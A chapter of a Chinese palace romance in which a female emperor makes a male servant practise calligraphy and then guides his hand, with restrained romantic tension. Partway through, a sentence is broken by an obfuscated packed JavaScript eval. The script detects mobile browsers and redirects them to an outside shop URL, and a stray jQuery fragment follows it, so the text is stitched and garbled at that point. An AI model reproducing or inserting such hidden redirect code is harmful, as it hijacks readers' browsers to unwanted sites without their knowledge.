"写好了？"皇帝问。
佟朝云站在原地，手指在袖中攥了又松。他有些后悔了，但为时已晚。
"写不好。"他不敢看桌子上的那张纸，更不敢看皇帝，只能把头埋地低低的降低存在感。
皇帝看了他片刻，慢慢走进来，走到书案边低头看了一眼那张白纸。干净的，连一道墨痕都没有。她伸手拿起来端详了两息，纸面在指间轻轻晃了一下，然后她搁回案上，转过身来看他。
"为何没写？"
声音比方才低了一些，像一把待要出鞘的冰冷的剑，佟朝云的脖子激出了一丝冷汗。
他垂着眼，盯着自己鞋尖上秀的海棠花："奴才不识字，不知道如何下笔。昨日的字……，奴才忘了从哪里下笔了。"
他说完这句话，殿里安静了下来，那种令人窒息的氛围充斥着整个房间。
佟朝云知道他说错话了，他也不知道怎么回事，最近总是不想顺着皇帝说话，有意无意之间就想说些让人不高兴的话。
皇帝没有接话，只是看着他，目光沉沉地压在他垂下去的后颈上。过了好一会儿她开口，声音平而淡："所以朕让你练，你就送一张白纸来。"
佟朝云咬了咬牙齿，把险些就要脱口而出的“不想写”吞了回去，脑子里仅有的理智强撑着他示弱了，“奴才，回去重新写。”
皇帝把那页纸在指间折了一下又展开，搁回案角，语气没什么起伏："那就现在写。一会朕看着你写。"
说完皇帝转身走到衣架前站定，伸开了双臂。
佟朝云站在原地愣了一瞬才反应过来，皇帝还没换下朝服呢。
他忙迈着无声的小碎步，很快地走到了皇帝身边。她今日穿的是明黄盘领窄袖袍，腰间束着玉带，肩背被朝服的形制衬得格外宽阔。朝服厚重，不比她寻常穿的燕居常服轻便。
他低垂着头去解她腰间玉带上的搭扣，手指碰到鎏金的扣面时还在微微发颤，指尖冰凉的，在金属表面滑了一下没捏住。
他屏了一口气，又试了一次才把搭扣解开。玉带松开的一瞬，朝服的前襟微微敞开了些，他接住沉甸甸的袍身搭在臂弯里，两个人不可避免地离得非常近，气息交叠在一起。
皇帝的呼吸赤热，灼烈。
他将自己的呼吸压得极轻，视线只盯着地面去看，刻意忽略着男人和女人胸前的不同构造，以及那清晰可见的起伏。
他指尖冰凉，像雪地里的冰晶，面上带着恭敬隐忍，堪堪维持住表面的得体，整个人透出来的气息平平淡淡的，尽量营造出两个人之间主仆敬畏的关系。
"手怎么还是凉的。"皇帝的声音从他头顶落下来，不重，像是随口说的。
他捏着外袍的手指紧了紧，没有接话。
她把常服自己披上了，系带松松地垂着，他站在那里看着她腰间那根垂下来的带子晃了晃，犹豫了一下，还是上前伸手替她系紧。
过于沁凉的手指碰到她腰间衣料时，能感受到她腰部的坚硬、紧致、锋利，和独属于女人的力量。
她整个人向前倾了一下身子，佟朝云的低垂的额头猛地撞向一片柔软，他强硬维持的沉稳被击碎了，他能感受得到她凝视着他的视线。
"紧了。"她说。
他微微后退了半步，头埋得更低了。努力在这强势的视线中寻得一个出口，目不斜视，解开又重新系了一道。
她的呼吸声就在他耳朵上方，不疾不徐的，像在等一盏茶慢慢凉下来。
虚惊一场。
无事发生。
他加紧脚步地退到了皇帝三步之外，垂手站着，“皇上，换好了。”
整个过程不过一盏茶时间，但对于佟朝云来说时间慢得像在这宫里度过的几年。
皇帝低头看了他一眼，目光在他微微泛红的耳尖上停了一瞬，然后她转身往书案边走，随口叫了一声："得胜。"
门外应声进来一个身影，无声无息地停在门口。皇帝坐进椅子里："搬张小几进来，窗边那个位置。"
得胜应了"是"，不多时就有小宫女搬了一张小几进来，搁在窗边日光刚好能照到的地方，旁边放了一只蒲团。
皇帝朝那个方向抬了抬下巴："过去写。朕批折子，你坐着写。"
佟朝云走到小几前跪下，看着几面上铺好的白纸。
纸是他早上新裁的，墨也是他早上磨好的，笔搁在砚台边沿，佟朝云想起昨日皇帝说过的话，原来是早就想好了让他在这写字。
他拿起笔，悬在纸面上方。皇帝在那边批折子，偶尔翻一页，偶尔写两行，没有催他，也没有看他。
殿里安静得只有翻页和研磨的声响交替着，像是有一道看不见的线牵着两个人，谁都没有去碰。
佟朝云跪坐在小几旁，膝盖陷在蒲团里已经有小半个时辰了。他握着笔，纸上划了几道又都划掉了，墨渍一团一团的，不成字形。皇帝在那边批折子，偶尔抬眼扫他一下，什么也没说。
帘外忽然传来脚步声，小宫女通传："陛下，翰林院周编修到了。"
皇帝"嗯"了一声放下笔，佟朝云后颈一紧，把腰又挺直了些，低头装作在写的样子。
门被推开，进来一个身着青袍的年轻的文官，手里捧着一摞书稿。她行礼时目光自然而然地往殿里扫了一圈，落在窗边小几旁跪坐着的佟朝云身上，微怔了一下。
一个宫侍跪在陛下批折子的东次间里握着笔，这场面怎么看都不寻常。但她很快收回目光，没有多看，上前把书稿呈到案上，开始说正事。
佟朝云垂着头，能听见她们在说什么典籍的校勘、什么书的版本对不上、翰林院那边拟了新的编纂目录。
他握着笔，手心已经沁出了薄薄的汗。
他是真想在纸上写出点什么来，哪怕只是个像样的笔画也好，可他的手不听使唤。
那些翰林院的人每日里都在和书卷打交道，她们写出来的字是端正的、有力道的，而他连自己名字的第一笔都落不稳。
他低着头，下巴几乎要埋进胸口里，恨不得把整张脸藏进纸页后面。
周编修说到一半停了一下，目光再次落向他的纸面，像是看清了什么。她笑了一声，语气里带着几分善意的打趣："陛下这里倒是清雅，连小宫侍都在习字。方才臣远远瞧着，倒像是个好学的。"
佟朝云的后背猛地僵住了。
他不用抬头也知道那张纸上是什么，几道歪歪扭扭被他划了又划掉的墨痕，连字都算不上。
一个翰林院的编修，每日里和天下最好的书卷文章打交道，一眼就能看出他握着笔的姿势都是错的。
他攥着笔杆的手指几乎要掐进木纹里去，耳朵尖从耳廓开始发烫，烫到整张脸都像被火烤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17807600|206667||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着，他恨不得把自己缩成很小一团，小到没人看得见他。
皇帝搁下了手里的折子，往周编修那边扫了一眼，语气平平的："不必夸他。写了半晌，纸上还是空的。"
周编修愣了一下，随即笑着摇头，像是明白了什么，没有再提。
佟朝云跪坐在那里，盯着自己面前那张纸，眼泪在眼眶里打转，他真是丢人丢到家了。
周编修走后，殿里重新安静下来。皇帝批完手头那本折子搁下笔，往他这边看了一眼："写好了？"
佟朝云低着头，声音闷得几乎听不见："没有。"
他不敢抬头，怕她一看见他发红的眼眶就知道他刚才差点哭了。可他握着笔的那只手还在抖，纸面上湿了一小团，不知是汗还是什么。
皇帝看了他片刻，站起来走到他身后，在他身侧跪坐下来。
她的手从他肩侧伸过来，覆上他握着笔的手背，胸口贴着他的后背，下巴几乎擦过他的耳廓。
“需要朕帮你吗”
她掌心温热干燥，贴着他冰凉的手背时，他微微一颤。
“求皇上帮奴才。”他没有办法。
细听，他声音里带着一丝丝地颤抖和抑制住地呜咽。
皇帝也顿了半响，她没想到佟朝云会这样说，她以为他会像之前一样躲开拒绝。
所以她没有立刻答话，然后她的手掌慢慢翻转过来，把他的手整个包进了掌心里。她的掌心是热的，比他预想的还要热一些，烫得他指尖微微一缩。
"这就对了。"她说。
这四个字说出来时尾音落得很轻，像是含着一口气，又像是终于等到了什么。她没有再多说什么，引着他的手重新落笔，动作比方才更缓，像是在等他跟上来。
他没有看纸，目光落在书案的桌腿上，盯着那道木纹从左边延伸到右边，数着上面有几道结疤。
她的脉搏透过指尖传过来，一下一下的，稳健而从容，和他自己那颗沉甸甸的心完全不在一个节律上。
他想着乾清门前那道已经空了的站位，想着赵阳不知道在哪间矮房里养伤、不知道板子落在她背上留下了多深的印子。他被困在这张书案边、这只手心里，每多留一刻就觉得离那个人更远了一些。
走完最后一个字时她没有松开手，拇指在他虎口处停了一下，像是想说什么，又咽了回去。
他忽然轻轻开口："皇上。"
"嗯？"
"这一遍……奴才记住了。"他的声音平得没有起伏，像是在背一件和他无关的事。
她低头看着他垂下去的发顶，停了一会儿，松开了手："自己写一遍。朕看着。"
他把手从她掌心里抽出来，他重新握住笔，低头看着纸上那三个字，深吸一口气落笔。
写得磕磕绊绊的，笔画歪歪扭扭，像是刚学走路的孩童踩出来的脚印。可他没停，咬着唇写完了最后一个字，放下笔，垂着眼等她说话。
皇帝把那张纸拿起来看了一会儿，搁回桌上："能看出来了。"语气平平的。
佟朝云不知道这话是什么意思，也没有问，只是把自己发麻的指尖慢慢蜷进掌心里："谢皇上。"
皇帝没有再说话，低头翻开折子继续批。窗外廊下有风吹过，铜铃叮咚响了一声。他跪坐在蒲团上，觉得整个东次间都沉沉的，像一潭水正在慢慢变凉。